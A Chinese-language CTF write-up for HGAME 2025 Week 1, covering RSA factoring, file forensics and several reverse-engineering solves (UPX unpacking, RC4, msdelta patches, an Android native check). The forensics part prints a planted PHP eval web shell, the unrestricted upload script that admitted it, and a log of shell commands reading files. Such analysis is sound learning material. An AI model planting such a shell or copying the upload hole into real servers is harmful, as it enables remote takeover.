HGAME 2025 WriteUp

12k words

一转眼已经到2025年了,其实2024年年末还参加了一些比赛(比如长城杯,DASCTF什么的),但是打的都不太好,怕丢人就不发wp了()

2025,新年新的开始,望自己在新的一年能多AK少爆零()

赛题轮次:Week 1

Crypto方向:

suprimeRSA:

这题貌似有两个版本,我是在第一个版本做的,看了一会没什么思路,再看公钥n只有六十多位,于是用了个耍赖的方法:(或许是因为纯按数学方法做这个题很困难,暴力破解反而拿下了一血)

yafu暴力分解n得到p和q:

1
2
P48 = 796688410951167236263039235508020180383351898113
P48 = 839777194079410698093279448382785381699926556673

解密得到flag:hgame{ROCA_ROCK_and_ROll!}.

Misc方向:

Hakuya Want A Girl Friend:

打开txt发现是每个字节的ASCII,010editor转成文件后发现了一个zip文件和一个所有字节全都倒过来的png文件,png文件的宽高不正确,修改宽高后得到zip文件的密码To_f1nd_th3_QQ,解压后得到flag:hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928}(前面的hgame反了).

Computer cleaner:

打开虚拟机后搜索/var/www/html路径下的.php文件,找到两个:

1
2
3
vidar@vidar-computer:~$ find /var/www/html -name "*.php"
/var/www/html/upload.php
/var/www/html/uploads/shell.php

查询grep指令得到flag的第1部分:

1
2
vidar@vidar-computer:~$ grep -r "eval(" /var/www/html
/var/www/html/uploads/shell.php:<?php @eval($_POST['hgame{y0u_']);?>

在浏览文件时在documents文件夹中找到了flag_part3文件,为flag的最后一部分:_c0mput3r!}

查看两个php:

upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// 日志文件路径
$log_file = 'upload_log.txt';

// 检查文件是否上传
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
// 获取文件信息
$file_name = $_FILES['file']['name'];
$file_tmp = $_FILES['file']['tmp_name'];
$file_size = $_FILES['file']['size'];

// 定义上传目录
$upload_dir = 'uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

// 将文件移动到目标目录
$target_file = $upload_dir . basename($file_name);
if (move_uploaded_file($file_tmp, $target_file)) {
echo "文件上传成功!<br>";

// 记录日志
$log_message = "[" . date("Y-m-d H:i:s") . "] 上传成功:$file_name, 大小:$file_size 字节\n";
file_put_contents($log_file, $log_message, FILE_APPEND);
} else {
echo "文件上传失败!<br>";
}
} else {
echo "上传过程中发生错误。<br>";
// 记录日志
$log_message = "[" . date("Y-m-d H:i:s") . "] 上传失败:错误代码 " . $_FILES['file']['error'] . "\n";
file_put_contents($log_file, $log_message, FILE_APPEND);
}
?>

shell.php:

1
<?php @eval($\_POST['hgame{y0u\_']);?>

查看/var/www/html路径下的所有文件:

1
2
3
4
vidar@vidar-computer:~$ ls /var/www/html/
index.html upload.html upload\_log.txt upload.php uploads
vidar@vidar-computer:~$ ls /var/www/html/uploads
shell.php

查看这些文件的内容:

1
2
3
vidar@vidar-computer:~$ cat /var/www/html/index.html
Don't hack me!!!!!!!!!
vidar@vidar-computer:~$ cat /var/www/html/upload.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h1>文件上传</h1>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" name="file" id="file" required><br><br>
<input type="submit" value="上传">
</form>
</body>
</html>
1
vidar@vidar-computer:~$ cat /var/www/html/upload\_log.txt(这里也能看出来flag的第三部分的上传记录)
1
2
3
4
5
6
7
8
9
121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET / HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET /upload HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:15 +0000] "POST /upload HTTP/1.1" 200 512 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:20 +0000] "POST /upload HTTP/1.1" 200 1024 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:35 +0000] "POST /upload HTTP/1.1" 200 1024 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:50 +0000] "POST /upload HTTP/1.1" 200 1030 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:55 +0000] "GET /uploads/shell.php HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:00 +0000] "GET /uploads/shell.php?cmd=ls HTTP/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:05 +0000] "GET /uploads/shell.php?cmd=cat%20~/Documents/flag_part3 HTTP/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"

访问121.41.34.25,得到flag的第二部分:

1
2
3
Are you looking for me
Congratulations!!!
hav3_cleaned_th3

拼合得到flag:hgame{y0u_hav3_cleaned_th3_c0mput3r!}.

Reverse方向:

Compress dot new:

脚本中compress函数首先通过bf函数计算字符频率,然后使用h函数生成霍夫曼树,接着用gc函数对霍夫曼树进行编码,最后用enc函数将输入的二进制数据按照霍夫曼编码表转换为字符串输出,编写python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import json
# 解析霍夫曼树
def parse_tree(node, path='', dict_path=None):
if dict_path is None:
dict_path = {}
if 's' in node: # Leaf node
dict_path[path] = chr(node['s'])
else: # Internal node
parse_tree(node['a'], path + '0', dict_path)
parse_tree(node['b'], path + '1', dict_path)
return dict_path
# 使用霍夫曼树解码
def decode_huffman(encoded_str, huffman_tree_dict):
output = ''
current_code = ''
for bit in encoded_str:
current_code += bit
if current_code in huffman_tree_dict:
output += huffman_tree_dict[current_code]
current_code = ''
return output
# 主函数
if __name__ == "__main__":
json_data = '{"a":{"a":{"a":{"a":{"a":{"s":125},"b":{"a":{"s":119},"b":{"s":123}}},"b":{"a":{"s":104},"b":{"s":105}}},"b":{"a":{"s":101},"b":{"s":103}}},"b":{"a":{"a":{"a":{"s":10},"b":{"s":13}},"b":{"s":32}},"b":{"a":{"s":115},"b":{"s":116}}}},"b":{"a":{"a":{"a":{"a":{"a":{"s":46},"b":{"s":48}},"b":{"a":{"a":{"s":76},"b":{"s":78}},"b":{"a":{"s":83},"b":{"a":{"s":68},"b":{"s":69}}}}},"b":{"a":{"a":{"s":44},"b":{"a":{"s":33},"b":{"s":38}}},"b":{"s":45}}},"b":{"a":{"a":{"s":100},"b":{"a":{"s":98},"b":{"s":99}}},"b":{"a":{"a":{"s":49},"b":{"s":51}},"b":{"s":97}}}},"b":{"a":{"a":{"a":{"s":117},"b":{"s":118}},"b":{"a":{"a":{"s":112},"b":{"s":113}},"b":{"s":114}}},"b":{"a":{"a":{"s":108},"b":{"s":109}},"b":{"a":{"s":110},"b":{"s":111}}}}}}'
tree = json.loads(json_data)
encoded_str = "00010001110111111010010000011100010111000100111000110000100010111001110010011011010101111011101100110100011101101001110111110111011011001110110011110011110110111011101101011001111011001111000111001101111000011001100001011011101100011100101001110010111001111000011000101001010000000100101000100010011111110110010111010101000111101000110110001110101011010011111111001111111011010101100001101110101101111110100100111100100010110101111111111100110001010101101110010011111000110110101101111010000011110100000110110101011000111111000110101001011100000110111100000010010100010001011100011100111001011101011111000101010110101111000001100111100011100101110101111100010110101110000010100000010110001111011100011101111110101010010011101011100100011110010010110111101110111010111110110001111010101110010001011100100101110001011010100001110101000101111010100110001110101011101100011011011000011010000001011000111011111111100010101011100000"
huffman_tree_dict = parse_tree(tree)
flag = decode_huffman(encoded_str, huffman_tree_dict)
print("Flag:", flag)

得到flag:hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}.

Turtle:

查壳发现了魔改UPX,发现不仅UPX头改了,0x25字节的自加密数据也全抹光了,直接x64dbg+Scylla手脱UPX,之后ida分析,找到main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
__int64 sub_401876()
{
char v1[256]; // [rsp+20h] [rbp-60h] BYREF
char v2[48]; // [rsp+120h] [rbp+A0h] BYREF
char Buf1[46]; // [rsp+150h] [rbp+D0h] BYREF
char Buf2[5]; // [rsp+17Eh] [rbp+FEh] BYREF
char v5[2]; // [rsp+183h] [rbp+103h] BYREF
unsigned __int8 Source[8]; // [rsp+185h] [rbp+105h] BYREF
unsigned __int8 Dest[8]; // [rsp+18Dh] [rbp+10Dh] BYREF
char v8[11]; // [rsp+195h] [rbp+115h] BYREF
unsigned int v9; // [rsp+1A0h] [rbp+120h]
int v10; // [rsp+1A4h] [rbp+124h]
int v11; // [rsp+1A8h] [rbp+128h]
unsigned int v12; // [rsp+1ACh] [rbp+12Ch]

sub_401C20();
strcpy(v8, "yekyek");
Buf2[0] = -51;
Buf2[1] = -113;
Buf2[2] = 37;
Buf2[3] = 61;
Buf2[4] = -31;
qmemcpy(v5, "QJ", sizeof(v5)); //这里QJ也是key的一部分
v2[0] = -8;
v2[1] = -43;
v2[2] = 98;
v2[3] = -49;
v2[4] = 67;
v2[5] = -70;
v2[6] = -62;
v2[7] = 35;
v2[8] = 21;
v2[9] = 74;
v2[10] = 81;
v2[11] = 16;
v2[12] = 39;
v2[13] = 16;
v2[14] = -79;
v2[15] = -49;
v2[16] = -60;
v2[17] = 9;
v2[18] = -2;
v2[19] = -29;
v2[20] = -97;
v2[21] = 73;
v2[22] = -121;
v2[23] = -22;
v2[24] = 89;
v2[25] = -62;
v2[26] = 7;
v2[27] = 59;
v2[28] = -87;
v2[29] = 17;
v2[30] = -63;
v2[31] = -68;
v2[32] = -3;
v2[33] = 75;
v2[34] = 87;
v2[35] = -60;
v2[36] = 126;
v2[37] = -48;
v2[38] = -86;
v2[39] = 10;
v12 = 6;
v11 = 7;
v10 = 40;
j_printf("plz input the key: ");
j_scanf("%s", Source);
j__mbscpy(Dest, Source);
v9 = 7;
sub_401550(v8, v12, v1); //RC4,KSA部分
sub_40163E(Source, v9, v1); //RC4,PRGA部分
if ( !j_memcmp(Source, Buf2, v11) ) //比较key
{
j_printf("plz input the flag: ");
j_scanf("%s", Buf1);
*(_DWORD *)&v8[7] = 40;
sub_401550(Dest, v9, v1); //RC4,KSA部分
sub_40175A(Buf1, *(unsigned int *)&v8[7], v1); //RC4,PRGA部分
if ( !j_memcmp(Buf1, v2, v10) ) //比较flag
j_puts(Buffer);
else
j_puts(aWrongPlzTryAga);
}
else
{
j_puts(aKeyIsWrong);
}
return 0i64;
}

先看key的部分:先用密钥yekyek作为RC4的KSA部分生成S盒,然后加密输入值,之后再与Buf2密文进行比较,这里Buf2为[0xCD, 0x8F, 0x25, 0x3D, 0xE1, Q, J],解密得到[0x65, 0x63, 0x67, 0x34, 0x61, 0x62, 0x36],即key为ecg4ab6,接着查看flag,发现flag所用的PRGA部分略有不同,不过仅仅是改为了减号,则解密函数只需改成加号,又有flag密文为[0xf8, 0xd5, 0x62, 0xcf, 0x43, 0xba, 0xc2, 0x23, 0x15, 0x4a, 0x51, 0x10, 0x27, 0x10, 0xb1, 0xcf, 0xc4, 0x9, 0xfe, 0xe3, 0x9f, 0x49, 0x87, 0xea, 0x59, 0xc2, 0x7, 0x3b, 0xa9, 0x11, 0xc1, 0xbc, 0xfd, 0x4b, 0x57, 0xc4, 0x7e, 0xd0, 0xaa, 0xa],解得flag为:hgame{Y0u’r3_re4l1y_g3t_0Ut_of_th3_upX!}.

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def rc4_ksa(key):
sbox = list(range(256))
j = 0
for i in range(256):
j = (j + sbox[i] + key[i % len(key)]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
print(f"[{', '.join(f'0x{byte:02X}' for byte in sbox)}]")
return sbox

def rc4_prga(s, data):
i = 0
j = 0
for k in range(len(data)):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
t = (s[i] + s[j]) % 256
data[k] ^= s[t]
return data

def rc4_enc(s, data):
i = 0
j = 0
for k in range(len(data)):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
t = (s[i] + s[j]) % 256
data[k] -= s[t]
return data

def rc4_dec(s, data):
i = 0
j = 0
for k in range(len(data)):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
t = (s[i] + s[j]) % 256
data[k] = (data[k] + s[t]) % 256
return data

# key = "yekyek".encode()
key = "ecg4ab6".encode()
#plaintext = b"\xCD\x8F\x25\x3D\xE1QJ"
plaintext = b"\xf8\xd5\x62\xcf\x43\xba\xc2\x23\x15\x4a\x51\x10\x27\x10\xb1\xcf\xc4\x09\xfe\xe3\x9f\x49\x87\xea\x59\xc2\x07\x3b\xa9\x11\xc1\xbc\xfd\x4b\x57\xc4\x7e\xd0\xaa\x0a"
sbox = rc4_ksa(key)
# ciphertext = rc4_prga(sbox.copy(), bytearray(plaintext))
ciphertext = rc4_dec(sbox.copy(), bytearray(plaintext))
print(f"[{', '.join(f'0x{byte:02X}' for byte in ciphertext)}]")

Delta Erro0000ors:

观察主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
int __fastcall main(int argc, const char **argv, const char **envp)
{
HMODULE LibraryA; // rax
DWORD LastError; // eax
__int128 v6; // [rsp+20h] [rbp-138h]
__int64 v7; // [rsp+30h] [rbp-128h]
__int128 v8; // [rsp+38h] [rbp-120h]
__int64 v9; // [rsp+48h] [rbp-110h]
__int128 v10; // [rsp+50h] [rbp-108h] BYREF
__int64 v11; // [rsp+60h] [rbp-F8h]
__int128 v12; // [rsp+70h] [rbp-E8h] BYREF
__int64 v13; // [rsp+80h] [rbp-D8h]
char Destination[16]; // [rsp+90h] [rbp-C8h] BYREF
__int128 v15; // [rsp+A0h] [rbp-B8h]
int v16; // [rsp+B0h] [rbp-A8h]
char v17; // [rsp+B4h] [rbp-A4h]
char Buffer[16]; // [rsp+B8h] [rbp-A0h]
__int128 v19; // [rsp+C8h] [rbp-90h]
__int64 v20; // [rsp+D8h] [rbp-80h]
char Str1[16]; // [rsp+E0h] [rbp-78h] BYREF
__int128 v22; // [rsp+F0h] [rbp-68h]
__int128 v23; // [rsp+100h] [rbp-58h]
__int128 v24; // [rsp+110h] [rbp-48h]
__int128 v25; // [rsp+120h] [rbp-38h]
__int128 v26; // [rsp+130h] [rbp-28h]
int v27; // [rsp+140h] [rbp-18h]

LibraryA = LoadLibraryA("msdelta.dll"); //加载了msdelta.dll并加载了ApplyDeltaB和DeltaFree两个函数
::LibraryA = LibraryA;
if ( LibraryA )
{
ApplyDeltaB = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD))GetProcAddress(LibraryA, "ApplyDeltaB");
DeltaFree = (BOOL (__stdcall *)(LPVOID))GetProcAddress(::LibraryA, "DeltaFree");
}
else
{
puts("LoadLibrary Error");
}
*(_OWORD *)Str1 = 0i64;
v22 = 0i64;
v23 = 0i64;
v24 = 0i64;
v25 = 0i64;
v26 = 0i64;
v27 = 0;
*(_OWORD *)Destination = 0i64;
v15 = 0i64;
v16 = 0;
v17 = 0;
*(_OWORD *)Buffer = 0i64;
v19 = 0i64;
v20 = 0i64;
printf("input your flag:");
scanf("%43s");
if ( !strncmp(Str1, "hgame{", 6ui64) && BYTE10(v23) == 125 ) //flag长43位,只有符合格式才进行后续流程,否则直接输出great
{
strncpy(Destination, &Str1[6], 0x24ui64);
LODWORD(v9) = 0;
*(_QWORD *)&v8 = Destination;
*((_QWORD *)&v8 + 1) = 37i64;
LODWORD(v7) = 0;
*(_QWORD *)&v6 = &unk_1400050A0;
*((_QWORD *)&v6 + 1) = 69i64;
v10 = v6;
v11 = v7;
v12 = v8;
v13 = v9;
if ( ApplyDeltaB(0i64, &v12, &v10, &qword_140005190) ) //调试发现这里ApplyDelta一定会出错
{
printf("%s");
}
else
{
puts("ApplyDelta Error");
LastError = GetLastError();
RaiseException(LastError, 1u, 0, 0i64); //进入异常处理
}
}
puts(aGreat); //flag正确或不符合格式
DeltaFree((LPVOID)qword_140005190);
FreeLibrary(::LibraryA);
return 0;
}

异常处理的部分没有反编译成C语言代码,汇编如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
.text:000000014000134B ; ---------------------------------------------------------------------------
.text:000000014000134B
.text:000000014000134B loc_14000134B: ; DATA XREF: .rdata:0000000140003A2C↓o
.text:000000014000134B ; __except(1) // owned by 1400012C0
.text:000000014000134B lea rcx, aSevenEatsTheHa ; "Seven eats the hash and causes the prog"...
.text:0000000140001352 call cs:puts
.text:0000000140001358 lea rcx, aSevenWantsToMa ; "Seven wants to make up for the mistake,"...
.text:000000014000135F call cs:puts
.text:0000000140001365 lea rcx, aInputYourMd5 ; "input your MD5:"
.text:000000014000136C call printf
.text:0000000140001371 lea rdx, [rsp+158h+Buffer]
.text:0000000140001379 lea rcx, a32s ; "%32s"
.text:0000000140001380 call scanf
.text:0000000140001385 lea rbx, [rsp+158h+Buffer]
.text:000000014000138D lea rdi, unk_1400050B4
.text:0000000140001394 mov esi, 10h
.text:0000000140001399 nop dword ptr [rax+00000000h]
.text:00000001400013A0
.text:00000001400013A0 loc_1400013A0: ; CODE XREF: main+27D↓j
.text:00000001400013A0 mov r8, rdi
.text:00000001400013A3 lea rdx, a02x ; "%02x"
.text:00000001400013AA mov rcx, rbx ; Buffer
.text:00000001400013AD call sub_1400010E0
.text:00000001400013B2 inc rdi
.text:00000001400013B5 add rbx, 2
.text:00000001400013B9 sub rsi, 1
.text:00000001400013BD jnz short loc_1400013A0
.text:00000001400013BF mov cs:word_1400050C4, 7A01h
.text:00000001400013C8 movups xmm0, [rsp+158h+var_138]
.text:00000001400013CD movaps [rsp+158h+var_E8], xmm0
.text:00000001400013D2 movsd xmm1, [rsp+158h+var_128]
.text:00000001400013D8 movsd [rsp+158h+var_D8], xmm1
.text:00000001400013E1 movups xmm0, [rsp+158h+var_120]
.text:00000001400013E6 movaps [rsp+158h+var_108], xmm0
.text:00000001400013EB movsd xmm1, [rsp+158h+var_110]
.text:00000001400013F1 movsd [rsp+158h+var_F8], xmm1
.text:00000001400013F7 lea r9, qword_140005190
.text:00000001400013FE lea r8, [rsp+158h+var_E8]
.text:0000000140001403 lea rdx, [rsp+158h+var_108]
.text:0000000140001408 xor ecx, ecx
.text:000000014000140A call cs:ApplyDeltaB
.text:0000000140001410 test rax, rax
.text:0000000140001413 jz short loc_140001479
.text:0000000140001415 xor ecx, ecx
.text:0000000140001417 xor r8d, r8d
.text:000000014000141A mov r9, cs:qword_140005198
.text:0000000140001421 mov r10, cs:qword_140005190
.text:0000000140001428 nop dword ptr [rax+rax+00000000h]
.text:0000000140001430
.text:0000000140001430 loc_140001430: ; CODE XREF: main+31A↓j
.text:0000000140001430 movsxd rax, ecx
.text:0000000140001433 xor edx, edx
.text:0000000140001435 div r9
.text:0000000140001438 movzx eax, byte ptr [rdx+r10]
.text:000000014000143D xor al, [rsp+r8+158h+Str1] //异或
.text:0000000140001445 lea rdx, unk_140003438 //flag密文
.text:000000014000144C cmp [r8+rdx], al //比较
.text:0000000140001450 jnz short loc_14000145E
.text:0000000140001452 inc ecx
.text:0000000140001454 inc r8
.text:0000000140001457 cmp ecx, 2Bh ; '+'
.text:000000014000145A jl short loc_140001430
.text:000000014000145C jmp short loc_140001494
.text:000000014000145E ; ---------------------------------------------------------------------------
.text:000000014000145E
.text:000000014000145E loc_14000145E: ; CODE XREF: main+310↑j
.text:000000014000145E lea rcx, aFlagIsError ; "Flag is error!!"
.text:0000000140001465 call cs:puts
.text:000000014000146B call sub_1400014E0
.text:0000000140001470 xor ecx, ecx ; Code
.text:0000000140001472 call cs:__imp_exit
.text:0000000140001472 ; ---------------------------------------------------------------------------
.text:0000000140001478 db 0CCh
.text:0000000140001479 ; ---------------------------------------------------------------------------
.text:0000000140001479
.text:0000000140001479 loc_140001479: ; CODE XREF: main+2D3↑j
.text:0000000140001479 lea rcx, aYouDidnTTakeAd ; "You didn't take advantage of this oppor"...
.text:0000000140001480 call cs:puts
.text:0000000140001486 call sub_1400014E0
.text:000000014000148B xor ecx, ecx ; Code
.text:000000014000148D call cs:__imp_exit
.text:000000014000148D ; ---------------------------------------------------------------------------

推导出整个流程为:先加载msdelta.dll,然后提示输入43位的flag,只有flag符合格式要求才继续执行,否则直接输出great,继续执行时会调用ApplyDeltaB这个函数,然后一定会调用不成功,进入异常处理部分,要求输入一个md5,输入后如果能够让ApplyDeltaB成功执行则比较flag(unk_140003438[0x3B, 0x02, 0x17, 0x08, 0x0B, 0x5B, 0x4A, 0x52, 0x4D, 0x11, 0x11, 0x4B, 0x5C, 0x43, 0x0A, 0x13, 0x54, 0x12, 0x46, 0x44, 0x53, 0x59, 0x41, 0x11, 0x0C, 0x18, 0x17, 0x37, 0x30, 0x48, 0x15, 0x07, 0x5A, 0x46, 0x15, 0x54, 0x1B, 0x10, 0x43, 0x40, 0x5F, 0x45, 0x5A]),否则输出“你没有抓住机会”,动态调试发现第一次尝试ApplyDeltaB时在其中的ApplyDeltaA引发错误,将IDA报错机制改为日志输出,不暂停程序并默认程序继续执行,可以跳出其他dll的处理部分,进入main的异常处理部分,检测到错误信号为0xD(无效补丁),解析msdelta.dll的pdb,可能是ApplyDeltaA的ApplyFlags、InputBuffer(源于source)或Delta被传入了错误的值,分析并动态调试第一次调用,可以注意到传入的ApplyFlags为0,Source为36字节的输入值,Delta为一个69字节的数据块:

1
2
3
4
[0x50, 0x41, 0x33, 0x30, 0x30, 0x0B, 0xD0, 0x45, 0x74, 0x6C, 0xDB, 0x01, 0x18, 0x23, 0xC8, 0x81, 0x03, 0x80, 0x42, 0x00, 
0x53, 0x65, 0x76, 0x65, 0x6E, 0x65, 0x61, 0x74, #Seveneatsthehash
0x73, 0x74, 0x68, 0x65, 0x68, 0x61, 0x73, 0x68,
0x01, 0x7A, 0x00, 0x51, 0xB5, 0x5E, 0x73, 0x7A, 0x8D, 0xF1, 0x30, 0xAD, 0xD3, 0xA2, 0x69, 0x1E, 0x16, 0x8D, 0x9B, 0xE5, 0x6F, 0x4A, 0x2F, 0x0F, 0x53, 0x06, 0xF5, 0x1B, 0x30, 0xC3, 0x73, 0x16, 0x0D]

,结合下文要求输入md5,推测就是这16个字节导致了ApplyDelta报错,而新输入的md5则会覆盖掉这一部分,如果覆盖之后能正常执行就进入比较flag阶段,查询msdelta的补丁结构(链接1链接2),应用脚本得到如下补丁信息:

1
2
3
4
5
6
7
[+] FileTypeSet     : 0x1
[+] FileType : 0x1
[+] Flags : 0x0
[+] TargetSize : 0x1C
[+] TargetFileTime : Wed Jan 22 02:20:58 2025
[+] TargetHashAlgId : 0x8003 //md5
[+] TargetHash : 536576656E6561747374686568617368 //被篡改的哈希值

在动态调试到ApplyDeltaA时反编译,注意到其中有一个函数compo::PullcapiContext::GetHash(v6, &a2->TargetHash);,就是获取目标哈希(补丁中的哈希)的函数,在其执行结束后查看返回值v22,可以得到和上面脚本一样的信息,提示输入md5后再次断在这里可以发现targethash被改成了输入值,即证明这里输入哈希确实是为了能让ApplyDelta正常执行,在其中目标哈希的位置下断点,运行直到触发断点,却发现哈希值还没有经过任何读取比较就已经被覆盖了,失去头绪,回头观察main中的flag比较过程,推测只有一个简单的异或,补丁打在输入的flag上,经过异或后和密文进行比较,动态调试过程中观察到一个可疑的字符串“Seven says you’re right!!!!,0”

直接拿密文异或这个字符串,得到flag:hgame{934b1236-a124-4150-967c-cb4ff5bcc900}.

尊嘟假嘟:

Jadx反编译,先查看zundu和jiadu类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public void onViewCreated(View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
ImageView JiaDu = this.binding.jiaduimage;
final Bundle bundle = getArguments();
JiaDu.setOnClickListener(new View.OnClickListener() { // from class: com.nobody.zunjia.jiadu.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
String ZunduJiadu;
String ZunduJiadu2 = bundle.getString("zunjia");
if (ZunduJiadu2 == null) {
ZunduJiadu = "o.0";
} else if (ZunduJiadu2.length() < 36) {
ZunduJiadu = ZunduJiadu2 + "o.0";
} else {
ZunduJiadu = "The length is too large";
}
bundle.putString("zunjia", ZunduJiadu);
toast to = new toast(jiadu.this.getContext());
to.setText(ZunduJiadu);
to.setDuration(0);
to.show();
}
});
this.binding.buttonSecond.setOnClickListener(new View.OnClickListener() { // from class: com.nobody.zunjia.jiadu$$ExternalSyntheticLambda0
@Override // android.view.View.OnClickListener
public final void onClick(View view2) {
jiadu.this.m204lambda$onViewCreated$0$comnobodyzunjiajiadu(bundle, view2);
}
});
}

结合实际运行发现是一个切换“尊嘟”(0.o)与“假嘟”(o.0)的页面,点击图片会弹出toast消息,会从零开始不断将“0.o”与“o.0”填入一个字符串,当这个字符串长度大于等于36时(即输入次数大于12)再次点击图片会将字符串替换成The length is too large,但由于还是小于36长度所以可以继续向后再追加4次点击,再观察toast类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.nobody.zunjia;
import android.content.Context;
import android.widget.Toast;

/* loaded from: classes3.dex */
public class toast extends Toast {
private Context mycontext;
static native void check(Context context, String str);
public toast(Context context) {
super(context);
this.mycontext = context;
}

@Override // android.widget.Toast
public void setText(CharSequence s) {
super.setText(s);
check(this.mycontext, (String) DexCall.callDexMethod(this.mycontext, this.mycontext.getString(C0822R.string.dex), this.mycontext.getString(C0822R.string.classname), this.mycontext.getString(C0822R.string.func1), s));
}
}

发现所给的toast是经过改动的,字符串并不仅仅是显示在屏幕上,而是先传给了
Dexcall类,结合反编译的values中的string.txt可以得到func1是encode,则字符串会以某种方式编码,之后进行check,查看来源于DexCall类中加载的libcheck.so,观察libcheck.so中的sub_1100(check)函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 __fastcall sub_1100(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
const char *v4; // rax
__int64 v6; // [rsp+38h] [rbp-D8h]
__int64 v7; // [rsp+40h] [rbp-D0h]
__int64 v8; // [rsp+48h] [rbp-C8h]
__int64 v9; // [rsp+50h] [rbp-C0h]
__int64 v10; // [rsp+58h] [rbp-B8h]
__int64 v11; // [rsp+60h] [rbp-B0h]
__int64 v12; // [rsp+70h] [rbp-A0h]
__int64 v13; // [rsp+78h] [rbp-98h]
__int64 v14; // [rsp+80h] [rbp-90h]
char v16; // [rsp+CFh] [rbp-41h] BYREF
char v17[48]; // [rsp+D0h] [rbp-40h] BYREF
unsigned __int64 v18; // [rsp+100h] [rbp-10h]

v18 = __readfsqword(0x28u);
v14 = sub_1360(a1, a4, (__int64)&v16);
v13 = sub_1090(a1, (__int64)"com/nobody/zunjia/DexCall");
v12 = sub_13A0(a1, v13, (__int64)"<init>", (__int64)"()V");
sub_13E0(a1, v13, v12);
v11 = sub_14D0(a1,v13,"callDexMethod","(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;");
v10 = sub_1510(a1, (__int64)"zunjia.dex");
v9 = sub_1510(a1, (__int64)"com.nobody.zundujiadu");
v8 = sub_1510(a1, (__int64)"encode");
__memcpy_chk(v17, &unk_3950, 43LL, 43LL); //密文
